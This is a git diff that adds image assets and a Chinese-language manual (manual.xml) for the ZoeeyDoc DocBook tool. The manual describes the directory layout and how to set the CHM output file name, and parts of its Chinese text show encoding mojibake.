+++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.svg @@ -0,0 +1,16 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.gif new file mode 100644 index 0000000..54c4b42 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.png new file mode 100644 index 0000000..31daf4e Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.svg new file mode 100644 index 0000000..9794044 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/12.svg @@ -0,0 +1,18 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.gif new file mode 100644 index 0000000..dd5d7d9 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.png new file mode 100644 index 0000000..14021a8 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.svg new file mode 100644 index 0000000..64268bb --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/13.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.gif new file mode 100644 index 0000000..3d7a952 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.png new file mode 100644 index 0000000..64014b7 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.svg new file mode 100644 index 0000000..469aa97 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/14.svg @@ -0,0 +1,17 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.gif new file mode 100644 index 0000000..1c9183d Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.png new file mode 100644 index 0000000..0d65765 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.svg new file mode 100644 index 0000000..8202233 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/15.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/16.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/16.svg new file mode 100644 index 0000000..01d6bf8 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/16.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/17.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/17.svg new file mode 100644 index 0000000..0a04c55 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/17.svg @@ -0,0 +1,17 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/18.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/18.svg new file mode 100644 index 0000000..1cb891b --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/18.svg @@ -0,0 +1,21 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/19.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/19.svg new file mode 100644 index 0000000..e6fbb17 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/19.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.gif new file mode 100644 index 0000000..94d42a3 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.png new file mode 100644 index 0000000..5d09341 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.svg new file mode 100644 index 0000000..07d0339 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/2.svg @@ -0,0 +1,17 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/20.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/20.svg new file mode 100644 index 0000000..ccbfd40 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/20.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/21.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/21.svg new file mode 100644 index 0000000..93ec53f --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/21.svg @@ -0,0 +1,18 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/22.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/22.svg new file mode 100644 index 0000000..f48c5f3 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/22.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/23.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/23.svg new file mode 100644 index 0000000..6624212 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/23.svg @@ -0,0 +1,22 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/24.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/24.svg new file mode 100644 index 0000000..a3d5525 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/24.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/25.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/25.svg new file mode 100644 index 0000000..56614a9 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/25.svg @@ -0,0 +1,21 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/26.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/26.svg new file mode 100644 index 0000000..56faeac --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/26.svg @@ -0,0 +1,22 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/27.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/27.svg new file mode 100644 index 0000000..a75c812 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/27.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/28.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/28.svg new file mode 100644 index 0000000..7f8cf1a --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/28.svg @@ -0,0 +1,23 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/29.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/29.svg new file mode 100644 index 0000000..cb63adf --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/29.svg @@ -0,0 +1,22 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.gif new file mode 100644 index 0000000..dd3541a Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.png new file mode 100644 index 0000000..ef7b700 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.svg new file mode 100644 index 0000000..918be80 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/3.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/30.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/30.svg new file mode 100644 index 0000000..dc43ba1 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/30.svg @@ -0,0 +1,22 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.gif new file mode 100644 index 0000000..4bcbf7e Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.png new file mode 100644 index 0000000..adb8364 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.svg new file mode 100644 index 0000000..8eb6a53 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/4.svg @@ -0,0 +1,16 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.gif new file mode 100644 index 0000000..1c62b4f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.png new file mode 100644 index 0000000..4d7eb46 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.svg new file mode 100644 index 0000000..ca7a9f2 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/5.svg @@ -0,0 +1,18 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.gif new file mode 100644 index 0000000..23bc555 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.png new file mode 100644 index 0000000..0ba694a Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.svg new file mode 100644 index 0000000..783a0b9 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/6.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.gif new file mode 100644 index 0000000..e55ce89 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.png new file mode 100644 index 0000000..472e96f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.svg new file mode 100644 index 0000000..59b3714 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/7.svg @@ -0,0 +1,16 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.gif new file mode 100644 index 0000000..49375e0 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.png new file mode 100644 index 0000000..5e60973 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.svg new file mode 100644 index 0000000..c1803a3 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/8.svg @@ -0,0 +1,20 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.gif new file mode 100644 index 0000000..da12a4f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.png new file mode 100644 index 0000000..a0676d2 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.svg new file mode 100644 index 0000000..bc149d3 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/9.svg @@ -0,0 +1,19 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.gif new file mode 100644 index 0000000..d9f5e5b Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.png new file mode 100644 index 0000000..5b7809c Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.svg new file mode 100644 index 0000000..dd84f3f --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.svg @@ -0,0 +1,25 @@ + + + + + + + + +]> + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.tif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.tif new file mode 100644 index 0000000..4a28294 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/caution.tif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/draft.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/draft.png new file mode 100644 index 0000000..59673fe Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/draft.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.gif new file mode 100644 index 0000000..6784f5b Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.png new file mode 100644 index 0000000..cbb711d Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.svg new file mode 100644 index 0000000..e803a31 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/home.svg @@ -0,0 +1,26 @@ + + + + + + + + +]> + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.gif new file mode 100644 index 0000000..6795d9a Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.png new file mode 100644 index 0000000..12c90f6 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.svg new file mode 100644 index 0000000..dd84f3f --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.svg @@ -0,0 +1,25 @@ + + + + + + + + +]> + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.tif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.tif new file mode 100644 index 0000000..184de63 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/important.tif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.gif new file mode 100644 index 0000000..aa1516e Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.png new file mode 100644 index 0000000..45835bf Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.svg new file mode 100644 index 0000000..75fa83e --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/next.svg @@ -0,0 +1,19 @@ + + + + + + +]> + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.gif new file mode 100644 index 0000000..f329d35 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.png new file mode 100644 index 0000000..d0c3c64 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.svg new file mode 100644 index 0000000..648299d --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.svg @@ -0,0 +1,33 @@ + + + + + + + + + + + + +]> + + + + + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.tif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.tif new file mode 100644 index 0000000..08644d6 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/note.tif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.gif new file mode 100644 index 0000000..64ca8f3 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.png new file mode 100644 index 0000000..cf24654 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.svg new file mode 100644 index 0000000..6d88ffd --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/prev.svg @@ -0,0 +1,19 @@ + + + + + + +]> + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.gif new file mode 100644 index 0000000..823f2b4 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.png new file mode 100644 index 0000000..5c4aab3 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.svg new file mode 100644 index 0000000..4a64a15 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.svg @@ -0,0 +1,31 @@ + + + + + + + + +]> + + + + + + + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.tif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.tif new file mode 100644 index 0000000..4a3d8c7 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/tip.tif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-blank.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-blank.png new file mode 100644 index 0000000..6ffad17 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-blank.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-minus.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-minus.png new file mode 100644 index 0000000..abbb020 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-minus.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-plus.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-plus.png new file mode 100644 index 0000000..941312c Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/toc-plus.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.gif new file mode 100644 index 0000000..aabc2d0 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.png new file mode 100644 index 0000000..07634de Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.svg new file mode 100644 index 0000000..d31aa9c --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/up.svg @@ -0,0 +1,19 @@ + + + + + + +]> + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.gif new file mode 100644 index 0000000..3adf191 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.png new file mode 100644 index 0000000..1c33db8 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.svg new file mode 100644 index 0000000..fc8d748 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.svg @@ -0,0 +1,23 @@ + + + + + + + + +]> + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.tif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.tif new file mode 100644 index 0000000..7b6611e Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/warning.tif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/manual.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/manual.xml new file mode 100644 index 0000000..74409a8 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/manual.xml @@ -0,0 +1,157 @@ + + + 使用说明 + +
    + 目录与文件 + + ZoeeyDoc\ +│ README.TXT +│ ZoeeyDoc.jar 主执行文件 +├─docs +│ ├─books 文档总目录 +│ │ └─zoeeydoc 文档项目 +│ │ │ config.kv é…置文件 +│ │ │ copyright.xml +│ │ │ glossary.xml +│ │ │ manual.xml +│ │ │ quickstart.xml +│ │ │ userguide.xml +│ │ ├─build å‘布时,建议存储文档的目录 +│ │ ├─css å„æ ¼å¼CSSæ ·å¼ç›®å½• +│ │ │ ├─html +│ │ │ └─single +│ │ ├─images 图片目录 +│ │ └─xsl 生æˆå„所需样å¼å’Œè®¾ç½® +│ │ ├─chm 设置chm文件å +│ │ ├─html +│ │ ├─pdf +│ │ ├─single +│ │ ├─site +│ │ └─wiki +│ ├─target 生æˆæ–‡ä»¶ç›®å½• +│ │ └─zoeeydoc 项目å +│ │ └─chm 生æˆæ ¼å¼ +│ │ │ htmlhelp.hhp +│ │ │ htmlhelp.hhp.log +│ │ │ index.hhk +│ │ │ index.html +│ │ │ quickstart.html +│ │ │ task.list.html +│ │ │ toc.hhc +│ │ │ zoeeydoc.chm 目标文件 +│ │ │ zoeeydoc.chm.checksum 校验文件 +│ │ ├─css +│ │ └─images +│ └─zips 打包的字体与xsl +│ │ docbook-xsl.zip 生æˆæ ·å¼ +│ │ Docbook2Wiki.zip wikiæ ·å¼ +│ │ fonts.zip pdf嵌入字体 +│ │ readme.txt 当å‰ç›®å½•æ³¨æ„项 +│ └─cache 缓存目录 +└─lib ä¾èµ–库 + + + + + 设置chm文件å + + 文档项目下 xsl/chm 文件夹内的 chm-style.xsl 文件。 + + <xsl:param name="htmlhelp.chm">zoeeydoc.chm</xsl:param> + +ä¿®æ”¹ä¸ºç”Ÿæˆ example.chm 则为: + +<xsl:param name="htmlhelp.chm">example.chm</xsl:param> + +
    + +
